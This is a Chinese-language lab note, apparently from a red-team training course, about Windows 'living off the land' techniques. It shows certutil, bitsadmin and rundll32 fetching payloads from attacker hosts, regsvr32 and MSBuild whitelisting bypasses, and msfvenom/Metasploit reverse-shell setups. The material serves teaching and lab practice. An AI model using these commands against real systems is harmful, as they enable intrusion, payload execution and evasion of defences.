
Living Off the Land
1.Windows Sysinternals(Windows 系统内部)
(1)什么是 Windows Sysinternals?
Windows Sysinternals 是一组工具和高级系统实用程序,旨在帮助 IT 专业人员在各种高级主题中管理、排除故障和诊断 Windows 操作系统。 Sysinternals Suite 分为多个类别,包括:
- 磁盘管理
- 进程管理
- 网络工具
- 系统信息
- 安全工具
为了使用Windows Sysinternals工具,我们需要接受这些工具的Microsoft许可协议。我们可以通过在命令提示符处或在工具执行期间通过 GUI 传递 -accepteula 参数来完成此操作。 以下是一些流行的 Windows Sysinternals 工具:
AccessChk | Helps system administrators check specified access for files, directories, Registry keys, global objects, and Windows services. |
---|---|
PsExec | A tool that executes programs on a remote system. |
ADExplorer | An advanced Active Directory tool that helps to easily view and manage the AD database. |
ProcDump | Monitors running processes for CPU spikes and the ability to dump memory for further analysis. |
ProcMon | An essential tool for process monitoring. |
TCPView | A tool that lists all TCP and UDP connections. |
PsTools | The first tool designed in the Sysinternals suite to help list detailed information. |
Portmon | Monitors and displays all serial and parallel port activity on a system. |
Whois | Provides information for a specified domain name or IP address. |
有关 Sysinternals 套件的更多信息,您可以在此处访问 Microsoft Docs 上的工具网页。
(2)Sysinternals Live
Windows Sysinternals 的一大特点是无需安装。 Microsoft 提供了 Windows Sysinternals 服务 Sysinternals live,提供了使用和执行该工具的各种方法。我们可以通过以下方式访问和使用它们:
- 网络浏览器(链接)
- Windows 共享
- 命令提示符
为了使用这些工具,您可以下载它们,也可以在 Windows 资源管理器中输入 Sysinternal Live 路径 \live.sysinternals.com\tools。

请注意,由于附加的虚拟机无法访问互联网,因此我们在 C:\Tools\ 中预先下载了 Sysinternal 工具。
C:\Users\thm> C:\Tools\SysinternalsSuite\PsExec64.exe
如果您有兴趣了解有关 Windows Sysinternals 的更多信息,我们建议您熟悉以下附加资源:
(3)Red Team utilization and benefits
内置工具和 Sysinternals 工具对系统管理员很有帮助,由于黑客、恶意软件和渗透测试人员对操作系统具有固有的信任,这些工具也被他们使用。这种信任对红队成员有利,他们不希望被目标系统上的任何安全控制检测到或捕获。因此,这些工具已被用来逃避检测和其他蓝队控制。请记住,由于如今使用这些工具的对手和恶意软件创建者不断增加,蓝队意识到了恶意使用情况,并对其中大多数实施了防御控制。

2.LOLBAS Project(洛巴斯项目)
(1)What is LOLBAS?

LOLBAS 代表 Living Off the Land Binaries And Scripts,该项目的主要目标是收集和记录用作 Living Off the Land 技术的 Microsoft 签名和内置工具,包括二进制文件、脚本和库。

LOLBAS 项目是一个社区驱动的存储库,收集了可用于红队目的的二进制文件、脚本、库的集合。它允许基于二进制文件、函数、脚本和 ATT&CK 信息进行搜索。上图显示了此时 LOLBAS 项目页面的样子。如果您有兴趣了解有关该项目的更多详细信息,您可以访问该项目的网站。 LOLBAS 网站提供了方便的搜索栏来查询所有可用数据。查找二进制文件很简单;包括二进制名称将显示结果。但是,如果我们想查找特定的函数,则需要在函数名称之前提供 / 。例如,如果我们正在查找所有执行函数,我们应该使用/execute。同样,为了根据类型进行查找,我们应该使用#符号后跟类型名称。项目中包含的类型如下:
- Script
- Binary
- Libraries
- OtherMSBinaries
(2)Tools Criteria(工具标准)
工具要成为“靠土地生存”技术并被接受为 LOLBAS 项目的一部分,需要具体标准:
- 操作系统本机的 Microsoft 签名文件或从 Microsoft 下载的文件。
- 具有已知用例未涵盖的其他有趣的意外功能。
- 有利于 APT(高级持续威胁)或红队参与。
请注意,如果您发现符合前面提到的标准的令人兴奋的二进制文件,您可以通过访问 GitHub 存储库贡献页面来提交您的发现以获取更多信息。
(3)Interesting Functionalities(有趣的功能)
LOLBAS 项目接受符合以下功能之一的工具提交:
- Arbitrary code execution(任意代码执行)
- File operations, including downloading, uploading, and copying files.(文件操作,包括下载、上传、复制文件)
- Compiling code(编译代码)
- Persistence, including hiding data in Alternate Data Streams (ADS) or executing at logon.(持久性,包括将数据隐藏在备用数据流 (ADS) 中或在登录时执行)
- UAC bypass
- Dumping process memory(转储进程内存)
- DLL injection
3. File Operations
此任务显示基于现实世界以及红队活动中看到的功能和恶意软件活动的常用工具。 文件从一台机器发送到另一台机器 此任务将重点介绍一些有趣的“Living Off the Land”技术,这些技术旨在用于文件操作,包括下载、上传和编码。
(1)Certutil
Certutil 是一个用于处理认证服务的 Windows 内置实用程序。它用于转储和显示证书颁发机构 (CA) 配置信息和其他 CA 组件。因此,该工具的正常用途是检索证书信息。然而,人们发现certutil.exe可以传输和编码与认证服务无关的文件。 MITRE ATT&CK 框架将此技术标识为 Ingress 工具传输 (T1105)。 为了通过示例来说明这一点,我们可以使用以下命令,使用 certutil.exe 从攻击者的 Web 服务器下载文件并将其存储在 Window 的临时文件夹中。请注意,我们使用 -urlcache 和 -split -f 参数来强制该工具使用分割技术从提供的 URL 下载。
certutil -URLcache -split -f http://Attacker_IP/payload.exe C:\Windows\Temp\payload.exe
- -urlcache 显示 URL,启用在命令中使用的 URL 选项 。
- -split -f 分割并强制从提供的 URL 获取文件。
此外,certutil.exe还可以用作编码工具,我们可以对文件进行编码并解码文件的内容。 ATT&CK T1027 引用了这种混淆文件的技术,使其难以发现或分析。
C:\Users\thm> certutil -encode payload.exe Encoded-payload.txt
有关该工具的更多信息,您可以访问此处的 Microsoft 文档:Microsoft Docs: CertUtil
(2)BITSAdmin
Bitsadmin 工具是一个系统管理员实用程序,可用于创建、下载或上传后台智能传输服务 (BITS) 作业并检查其进度。 BITS 是一种低带宽异步方法,用于从 HTTP Web 服务器和 SMB 服务器下载和上传文件。有关bitsadmin 工具的其他信息可以在Microsoft Docs 中找到。 攻击者可能会滥用 BITS 作业在受感染的计算机中下载并执行恶意负载。有关此技术的更多信息,您可以访问 ATT&CK T1197 页面。 介绍终端容器内容(重温)
C:\Users\thm>bitsadmin.exe /transfer /Download /priority Foreground http://Attacker_IP/payload.exe c:\Users\thm\Desktop\payload.exe
- /Transfer 使用传输选项
- /Download 我们正在指定使用下载类型的传输
- /Priority 我们正在设置要在前台运行的作业的优先级
有关bitsadmin参数的更多信息,您可以访问该工具的Microsoft文档。
(3)FindStr
Findstr 是 Microsoft 内置工具,用于查找文件中的文本和字符串模式。 findstr 工具非常有用,可以帮助用户和系统管理员在文件或解析的输出中进行搜索。例如,如果我们想检查我们机器上的端口 8080 是否打开,那么我们可以通过管道传输 netstat 的结果来查找该端口,如下所示:netstat -an|查找str“445”。 但是,发现了一种意想不到的方法,即使用 findstr.exe 从网络内的 SMB 共享文件夹下载远程文件,如下所示:
C:\Users\thm>findstr /V dummystring \\MachineName\ShareFolder\test.exe > c:\Windows\Temp\test.exe
- /V 打印出不包含所提供字符串的行。
- dummystring 要搜索的文本;在本例中,我们提供了一个不能在文件中找到的字符串。
- > c:\Windows\Temp\test.exe 将输出重定向到目标计算机上的文件。
请注意,可以使用其他工具进行文件操作。我们建议访问 LOLBAS 项目来查看它们。 在下一个任务中,我们将介绍一些用于执行文件的工具。
4.File Execution(文件执行)
此任务展示了在操作系统中执行二进制文件的各种方法。执行二进制文件的典型情况涉及各种已知的方法,例如使用命令行 cmd.exe 或从桌面。然而,还存在通过滥用其他系统二进制文件来实现有效负载执行的其他方法,其中原因之一是隐藏或强化有效负载的进程。基于 MITRE ATT&CK 框架,该技术称为签名二进制代理执行或间接命令执行,攻击者利用其他系统工具生成恶意负载。这种技术还有助于逃避防守控制。
(1)文件管理器
文件资源管理器是 Windows 的文件管理器和系统组件。人们发现使用文件资源管理器二进制文件可以执行其他.exe文件。这种技术称为间接命令执行,其中可以使用和滥用 explorer.exe 工具从受信任的父进程启动恶意脚本或可执行文件。 explorer.exe 二进制文件位于:
- C:\Windows\explorer.exe for the Windows 32 bits version
- C:\Windows\SysWOW64\explorer.exe for the Windows 64 bits version
为了创建explorer.exe父进程的子进程,我们可以执行以下命令:
C:\Users\thm> explorer.exe /root,"C:\Windows\System32\calc.exe"
作为上一个命令的结果,我们在桌面上弹出了计算器。
(2)WMIC
Windows Management Instrumentation (WMIC) 是一个管理 Windows 组件的 Windows 命令行实用程序。人们发现WMIC还被用来执行逃避防御措施的二进制文件。 MITRE ATT&CK 框架将此技术称为签名二进制代理执行 (T1218)
C:\Users\thm>wmic.exe process call create calc
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 1740;
ReturnValue = 0;
};
C:\Users\thm>
前面的 WMIC 命令创建了我们选择的二进制文件的新进程,在本例中为 calc.exe。
(3)Rundll32
Rundll32 是 Microsoft 内置工具,可在操作系统中加载和运行动态链接库 DLL 文件。红队可以滥用和利用 rundll32.exe 来运行任意负载并执行 JavaScript 和 PowerShell 脚本。 MITRE ATT&CK 框架将其标识为签名二进制代理执行:Rundll32,并将其称为 T1218。
rundll32.exe 二进制文件位于:
- C:\Windows\System32\rundll32.exe for the Windows 32 bits version
- C:\Windows\SysWOW64\rundll32.exe for the Windows 64 bits version
现在让我们尝试使用 rundll32.exe 二进制文件执行 calc.exe 二进制文件作为概念证明:
C:\Users\thm> rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
在前面的命令中,我们使用了嵌入 JavaScript 组件 eval() 的 rundll32.exe 二进制文件来执行 calc.exe 二进制文件(一个 Microsoft 计算器)。 正如我们之前提到的,我们还可以使用 rundll32.exe 执行 PowerShell 脚本。以下命令运行 JavaScript,该 JavaScript 执行 PowerShell 脚本以使用 rundll32.exe 从远程网站下载。
C:\Users\thm> rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://AttackBox_IP/script.ps1');");
作为先前执行的结果,script.ps1 的副本下载到目标计算机上的内存中。
5.Application Whitelisting Bypasses(应用程序白名单绕过)
(1)绕过应用程序白名单
应用程序白名单是 Microsoft 端点安全功能,可防止恶意和未经授权的程序实时执行。应用程序白名单是基于规则的,它指定允许在操作系统上存在和执行的已批准应用程序或可执行文件的列表。此任务重点关注用于绕过 Windows 应用程序白名单的 LOLBAS 示例。
(2)Regsvr32
Regsvr32 是一个 Microsoft 命令行工具,用于在 Windows 注册表中注册和取消注册动态链接库 (DLL)。 regsvr.exe 二进制文件位于:
- C:\Windows\System32\regsvr32.exe for the Windows 32 bits version
- C:\Windows\SysWOW64\regsvr32.exe for the Windows 64 bits version
除了其预期用途之外,regsvr32.exe 二进制文件还可用于执行任意二进制文件并绕过 Windows 应用程序白名单。根据 Red Canary 报告,regsvr32.exe 二进制文件是第三大流行的 ATT&CK 技术。攻击者利用 regsvr32.exe 在本地或远程执行本机代码或脚本。 regsvr32.exe中使用的技术使用受信任的Windows操作系统组件并在内存中执行,这也是该技术也被用来绕过应用程序白名单的原因之一。
让我们尝试在现实生活中应用这种技术。首先,我们需要使用 msvenom 创建一个恶意 DLL 文件,并设置 Metasploit 监听器来接收反向 shell。请注意,我们将创建一个适用于 32 位操作系统的恶意文件。我们将使用 regsvr32.exe 应用程序白名单绕过技术在目标系统上运行命令。
user@machine$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f dll -a x86 > live0fftheland.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 375 bytes
Final size of dll file: 8704 bytes
user@machine$ user@machine$ msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST ATTACKBOX_IP
LHOST => ATTACKBOX_IP
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on ATTACKBOX_IP:443
请注意,我们使用 -f 参数将输出类型指定为 DLL。一旦生成了恶意 DLL 文件,我们就需要将有效负载传递给受害者计算机。我们将通过使用网络服务器在我们的攻击机器上提供 DLL 文件来做到这一点,如下所示,
user@machine$ python3 -m http.server 1337
从受害者机器上,通过我们指定的端口 1337 访问攻击机器的 Web 服务器。请注意,此端口可以根据您的选择进行更改!在受害计算机上,下载文件 DLL 文件后,我们使用 regsvr32.exe 执行它,如下所示:
C:\Users\thm> c:\Windows\System32\regsvr32.exe c:\Users\thm\Downloads\live0fftheland.dll
or
C:\Users\thm> c:\Windows\System32\regsvr32.exe /s /n /u /i:http://example.com/file.sct Downloads\live0fftheland.dll
使用第二个选项(这是一个更高级的命令),我们指示 regsvr32.exe 运行:
- /s: in silent mode (without showing messages)
- /n: to not call the DLL register server
- /i:: to use another server since we used /n
- /u: to run with unregister method
在攻击机器上,我们应该收到一个反向 shell。
msf6 > exploit(multi/handler) > exploit
[*] Started reverse TCP handler on ATTACKBOX_IP:443
[*] Sending stage (175174 bytes) to 10.10.159.197
[*] Meterpreter session 1 opened (ATTACKBOX_IP:443 -> 10.10.159.197:52845 ) at 2022-01-20 05:51:31 -0600
请注意,如果我们想要创建 64 位 DLL 版本,我们需要在 msfvenom 命令中指定它,并使用位于 C:\Windows\SysWOW64\regsvr32.exe 的 64 位版本的 regsvr32.exe 从受害计算机运行它。
(3)Bourne Again Shell (Bash)(谍影重重 Shell (Bash))
2016 年,微软在 Windows 10,11 和 Server 2019 上添加了对 Linux 环境的支持。此功能称为 Windows Subsystem for Linux (WSL),存在两个 WSL 版本:WSL1 和 WSL2。 WSL 是一个在操作系统上运行的 Hyper-V 虚拟化 Linux 发行版,支持 Linux 内核和系统调用的子集。此功能是一个插件,用户可以安装该插件并与 Linux 发行版交互。作为 WSL 的一部分,bash.exe 是一个用于与 Linux 环境交互的 Microsoft 工具。人们找到了执行有效负载并绕过 Windows 应用程序白名单的方法,因为它是 Microsoft 签名的二进制文件。通过执行 bash.exe -c “path-to-payload”,我们可以执行任何未签名的有效负载。 ATT&CK 将此称为间接命令执行技术,攻击者可以滥用 Windows 工具实用程序来获取命令执行。有关此技术的更多信息,您可以访问 T1202 ATT&CK 网站。

请注意,您需要在 Windows 10 中启用并安装适用于 Linux 的 Windows 子系统才能使用 bash.exe 二进制文件。此外,由于嵌套虚拟化限制,附加的 VM 未启用 Linux 子系统。请记住,本节重点介绍了一些有趣的工具。如果您有兴趣查看可用的 LOLBAS 工具,您可以访问该项目网站。
6.Other Techniques
本节重点介绍一些使用的有趣技术,无论是初始访问还是持久性。以下技术属于 Living Off the Land 范畴,因为它们可以用作 Windows 环境实用程序的一部分。
(1)Shortcuts
快捷方式或符号链接是一种用于引用操作系统内其他文件或应用程序的技术。一旦用户单击快捷方式文件,就会执行参考文件或应用程序。通常,红队利用此技术来获得初始访问权限、权限升级或持久性。 MITRE ATT&CK 框架将此快捷方式修改技术称为 T1547,攻击者创建或修改快捷方式以利用此技术。 要使用快捷方式修改技术,我们可以使用以下命令设置目标部分来执行文件:
- Rundll32
- Powershell
- Regsvr32
- Executable on disk

附图显示了快捷方式修改技术的示例,其中攻击者修改了 Excel 目标部分以使用 rundll32.exe 执行二进制文件。我们选择执行计算器而不是运行 Excel 应用程序。一旦受害者点击 Excel 快捷方式图标,calc.exe 就会被执行。有关快捷方式修改的更多信息,您可以查看此 GitHub 存储库。
(2)No PowerShell!
2019 年,Red Canary 发布了一份威胁检测报告,指出 PowerShell 是恶意活动最常用的技术。因此,组织开始监视或阻止 powershell.exe 的执行。因此,攻击者会找到其他方法来运行 PowerShell 代码而不生成它。 PowerLessShell 是一个基于 Python 的工具,可生成恶意代码并在目标计算机上运行,而不显示 PowerShell 进程的实例。 PowerLessShell 依赖滥用 Microsoft Build Engine (MSBuild)(一个用于构建 Windows 应用程序的平台)来执行远程代码。 首先,让我们将项目的副本从 GitHub 存储库下载到 AttackBox 上:
user@machine$ git clone https://github.com/Mr-Un1k0d3r/PowerLessShell.git
项目要求之一是获取 PowerShell 有效负载以使其适合与 MSBuild 一起使用。在 AttackBox 上,我们需要使用 msfvenom 生成 PowerShell 有效负载,如下所示:
user@machine$ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=AttackBox_IP LPORT=4443 -f psh-reflection > liv0ff.ps1
另外,我们需要运行Metasploit框架来监听并等待反向shell。
user@machine$ msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_winhttps; set lhost AttackBox_IP;set lport 4443;exploit"
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/meterpreter/reverse_winhttps
lhost => AttackBox_IP lport => 4443
[*] Started HTTPS reverse handler on https://AttackBox_IP:4443
现在我们已经准备好有效负载,更改为 PowerLessShell 目录项目以将有效负载转换为与 MSBuild 工具兼容。然后运行 PowerLessShell 工具并将源文件设置为我们使用 msfvenom 创建的文件,如下所示:
user@machine$ python2 PowerLessShell.py -type powershell -source /tmp/liv0ff.ps1 -output liv0ff.csproj
命令执行成功后,我们需要将输出文件传输到 Windows 机器。您可以使用 SCP 命令执行此操作,或设置 Web 服务器在 AttackBox 上托管文件 (python3 -m http.server 1337) 并使用浏览器下载文件。 最后,在目标Windows机器上,构建.csproj文件并等待反向shell!
C:\Users\thm> c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\Users\thm\Desktop\liv0ff.csproj
运行 MSBuild 命令后,等待几秒钟,直到收到反向 shell。请注意,不会有 powershell.exe 进程正在运行。

